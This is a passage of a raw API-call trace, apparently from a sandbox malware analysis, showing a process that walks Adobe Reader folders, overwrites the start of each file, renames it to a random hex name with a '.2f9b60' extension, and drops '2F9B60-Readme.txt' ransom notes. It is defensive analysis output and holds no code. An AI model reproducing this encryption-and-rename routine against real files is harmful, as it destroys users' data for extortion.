wcscat (in: _Dest=0x1ce167c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\2F9B60-Readme.txt" [0241.279] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\2f9b60-readme.txt")) returned 0xffffffff [0241.280] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fb8 [0244.028] WriteFile (hFile=0x1fb8, lpBuffer=0x1b82f9a0, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3498f620, lpOverlapped=0x0) Thread: id = 2050 os_tid = 0x1304 [0137.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x42060bb0 [0137.901] wcscpy (in: _Dest=0x42060bb0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0137.901] wcscat (in: _Dest=0x42060bb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0137.901] wcscat (in: _Dest=0x42060bb0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*" [0137.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60590 [0137.901] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*", lpFindFileData=0x1cd60590 | out: lpFindFileData=0x1cd60590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5f80 [0137.903] wcscmp (_String1=".", _String2=".") returned 0 [0137.903] FindNextFileW (in: hFindFile=0x1ced5f80, lpFindFileData=0x1cd60590 | out: lpFindFileData=0x1cd60590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.903] wcscmp (_String1="..", _String2=".") returned 1 [0137.903] wcscmp (_String1="..", _String2="..") returned 0 [0137.903] FindNextFileW (in: hFindFile=0x1ced5f80, lpFindFileData=0x1cd60590 | out: lpFindFileData=0x1cd60590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca_ES", cAlternateFileName="")) returned 1 [0137.903] wcscmp (_String1="ca_ES", _String2=".") returned 1 [0137.903] wcscmp (_String1="ca_ES", _String2="..") returned 1 [0137.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cf4c2b0 [0137.903] wcscpy (in: _Dest=0x1cf4c2b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0137.903] wcscat (in: _Dest=0x1cf4c2b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0137.903] wcscat (in: _Dest=0x1cf4c2b0, _Source="ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0151.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86c120 [0151.678] wcscpy (in: _Dest=0x1b86c120, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0151.678] wcscat (in: _Dest=0x1b86c120, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0151.678] wcscat (in: _Dest=0x1b86c120, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*" [0151.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9b8e0 [0151.679] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*", lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c430 [0151.729] wcscmp (_String1=".", _String2=".") returned 0 [0151.729] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.729] wcscmp (_String1="..", _String2=".") returned 1 [0151.729] wcscmp (_String1="..", _String2="..") returned 0 [0151.729] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CAT", cAlternateFileName="ACCESS~1.CAT")) returned 1 [0151.729] wcscmp (_String1="accessibility.CAT", _String2=".") returned 1 [0151.729] wcscmp (_String1="accessibility.CAT", _String2="..") returned 1 [0151.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202adef0 [0151.730] wcscpy (in: _Dest=0x202adef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0151.730] wcscat (in: _Dest=0x202adef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0151.730] wcscat (in: _Dest=0x202adef0, _Source="accessibility.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT" [0151.730] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\accessibility.cat")) returned 0x20 [0151.751] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", dwFileAttributes=0x20) returned 1 [0151.751] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\accessibility.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x257c [0151.752] GetFileSizeEx (in: hFile=0x257c, lpFileSize=0x340bfcb0 | out: lpFileSize=0x340bfcb0*=45056) returned 1 [0151.752] SetFilePointerEx (in: hFile=0x257c, liDistanceToMove=0xaffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.752] ReadFile (in: hFile=0x257c, lpBuffer=0x340bfc30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x340bfc78, lpOverlapped=0x0 | out: lpBuffer=0x340bfc30*, lpNumberOfBytesRead=0x340bfc78*=0x4, lpOverlapped=0x0) returned 1 [0151.780] SetFilePointerEx (in: hFile=0x257c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffea0 [0151.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fff60 [0151.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffff0 [0151.780] NtQuerySystemTime (in: CurrentTime=0x340bfb70 | out: CurrentTime=0x340bfb70*=132462177569902000) returned 0x0 [0151.780] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x23515498 [0151.780] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x10969400 [0151.780] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0xa1b56e5 [0151.780] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x6a4d9ea9 [0151.780] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x4878bae1 [0151.780] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x32ef14b5 [0151.780] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x5e0f0b21 [0151.780] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x6190723a [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x6a2184df [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x25226ed8 [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x7ea2fdfe [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x726a1ca6 [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x4e4c4735 [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x58ce976e [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x783e71b6 [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x7807e5e4 [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x12b8255 [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x3464acf0 [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x341a4c5b [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x4dce9421 [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x182638ad [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x48732476 [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x5626a156 [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0xd5866fa [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x71b77e5c [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x6819d901 [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0xc12708f [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x7cab36a6 [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x5742794f [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x462397ef [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x7beb7c2d [0151.781] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x28587a44 [0151.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500020 [0151.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0151.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500050 [0151.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0151.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffff0) returned 1 [0151.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffea0) returned 1 [0151.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425579b0 [0151.792] SetFilePointerEx (in: hFile=0x257c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.792] ReadFile (in: hFile=0x257c, lpBuffer=0x425579b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x340bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x425579b0*, lpNumberOfBytesRead=0x340bfbd0*=0x3c00, lpOverlapped=0x0) returned 1 [0151.838] SetFilePointerEx (in: hFile=0x257c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058a10 [0151.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0151.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500110 [0151.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500110) returned 1 [0151.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4256e500 [0151.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500110 [0151.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205001d0 [0151.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205001d0) returned 1 [0151.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0151.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058a10) returned 1 [0151.845] WriteFile (hFile=0x257c, lpBuffer=0x4256e500, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x340bfbd0, lpOverlapped=0x0) [0194.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4256e500) returned 1 [0194.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425579b0) returned 1 [0194.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1ce5d970 [0194.371] SetFilePointerEx (in: hFile=0x257c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.371] WriteFile (in: hFile=0x257c, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x340bfc80, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x340bfc80*=0x114, lpOverlapped=0x0) returned 1 [0202.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a8b0 [0202.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ca0 [0202.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859ca0) returned 1 [0202.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b859ca0 [0202.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a780 [0202.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859cd0 [0202.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859cd0) returned 1 [0202.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a8b0) returned 1 [0202.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ce5bfc0 [0202.763] sprintf (in: _Dest=0x1ce5bfc0, _Format="%c%c" | out: _Dest="f2") returned 2 [0202.763] sprintf (in: _Dest=0x1ce5bfc2, _Format="%c%c" | out: _Dest="f5") returned 2 [0202.763] sprintf (in: _Dest=0x1ce5bfc4, _Format="%c%c" | out: _Dest="5b") returned 2 [0202.763] sprintf (in: _Dest=0x1ce5bfc6, _Format="%c%c" | out: _Dest="52") returned 2 [0202.763] sprintf (in: _Dest=0x1ce5bfc8, _Format="%c%c" | out: _Dest="49") returned 2 [0202.763] sprintf (in: _Dest=0x1ce5bfca, _Format="%c%c" | out: _Dest="12") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bfcc, _Format="%c%c" | out: _Dest="48") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bfce, _Format="%c%c" | out: _Dest="ea") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bfd0, _Format="%c%c" | out: _Dest="f4") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bfd2, _Format="%c%c" | out: _Dest="8d") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bfd4, _Format="%c%c" | out: _Dest="c6") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bfd6, _Format="%c%c" | out: _Dest="bb") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bfd8, _Format="%c%c" | out: _Dest="77") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bfda, _Format="%c%c" | out: _Dest="98") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bfdc, _Format="%c%c" | out: _Dest="7e") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bfde, _Format="%c%c" | out: _Dest="f8") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bfe0, _Format="%c%c" | out: _Dest="50") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bfe2, _Format="%c%c" | out: _Dest="4b") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bfe4, _Format="%c%c" | out: _Dest="e9") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bfe6, _Format="%c%c" | out: _Dest="a7") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bfe8, _Format="%c%c" | out: _Dest="ff") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bfea, _Format="%c%c" | out: _Dest="ad") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bfec, _Format="%c%c" | out: _Dest="20") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bfee, _Format="%c%c" | out: _Dest="43") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bff0, _Format="%c%c" | out: _Dest="61") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bff2, _Format="%c%c" | out: _Dest="32") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bff4, _Format="%c%c" | out: _Dest="86") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bff6, _Format="%c%c" | out: _Dest="43") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bff8, _Format="%c%c" | out: _Dest="16") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bffa, _Format="%c%c" | out: _Dest="c4") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bffc, _Format="%c%c" | out: _Dest="df") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5bffe, _Format="%c%c" | out: _Dest="14") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5c000, _Format="%c%c" | out: _Dest="5e") returned 2 [0202.764] sprintf (in: _Dest=0x1ce5c002, _Format="%c%c" | out: _Dest="49") returned 2 [0202.764] RtlInitAnsiString (in: DestinationString=0x340bfcf8, SourceString="f2f55b52491248eaf48dc6bb77987ef8504be9a7ffad20436132864316c4df145e49" | out: DestinationString="f2f55b52491248eaf48dc6bb77987ef8504be9a7ffad20436132864316c4df145e49") [0202.765] RtlAnsiStringToUnicodeString (in: DestinationString=0x340bfcc8, SourceString="f2f55b52491248eaf48dc6bb77987ef8504be9a7ffad20436132864316c4df145e49", AllocateDestinationString=1 | out: DestinationString="f2f55b52491248eaf48dc6bb77987ef8504be9a7ffad20436132864316c4df145e49") returned 0x0 [0202.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4319dda0 [0202.765] wcscat (in: _Dest=0x4311aa20, _Source="f2f55b52491248eaf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\f2f55b52491248eaf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\f2f55b52491248eaf" [0202.765] wcscat (in: _Dest=0x4311aa20, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\f2f55b52491248eaf.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\f2f55b52491248eaf.2f9b60" [0202.765] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\f2f55b52491248eaf.2f9b60", NtPathName=0x340bfca0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\f2f55b52491248eaf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1ced12a0 [0206.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced12a0) returned 1 [0206.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4321cc50) returned 1 [0206.164] NtQueryInformationFile (in: FileHandle=0x257c, IoStatusBlock=0x340bfd08, FileInformation=0x340bfd18, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x340bfd08, FileInformation=0x340bfd18) returned 0x0 [0206.164] NtSetInformationFile (FileHandle=0x257c, IoStatusBlock=0x340bfd08, FileInformation=0x340bfd18, Length=0x28, FileInformationClass=0x4) returned 0x0 [0215.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4311aa20) returned 1 [0215.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319dda0) returned 1 [0215.946] FlushFileBuffers (hFile=0x257c) returned 1 [0215.950] CloseHandle (hObject=0x257c) returned 1 [0219.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x4315eeb0 [0219.017] wcscpy (in: _Dest=0x4315eeb0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0219.017] wcscat (in: _Dest=0x4315eeb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\2F9B60-Readme.txt" [0219.017] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\2f9b60-readme.txt")) returned 0xffffffff [0219.017] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9d8 [0227.403] WriteFile (in: hFile=0x9d8, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x340bfbc0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x340bfbc0*=0xba9, lpOverlapped=0x0) returned 1 [0237.982] CloseHandle (hObject=0x9d8) returned 1 [0240.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4315eeb0) returned 1 [0240.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adef0) returned 1 [0240.603] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dc00, dwReserved0=0x0, 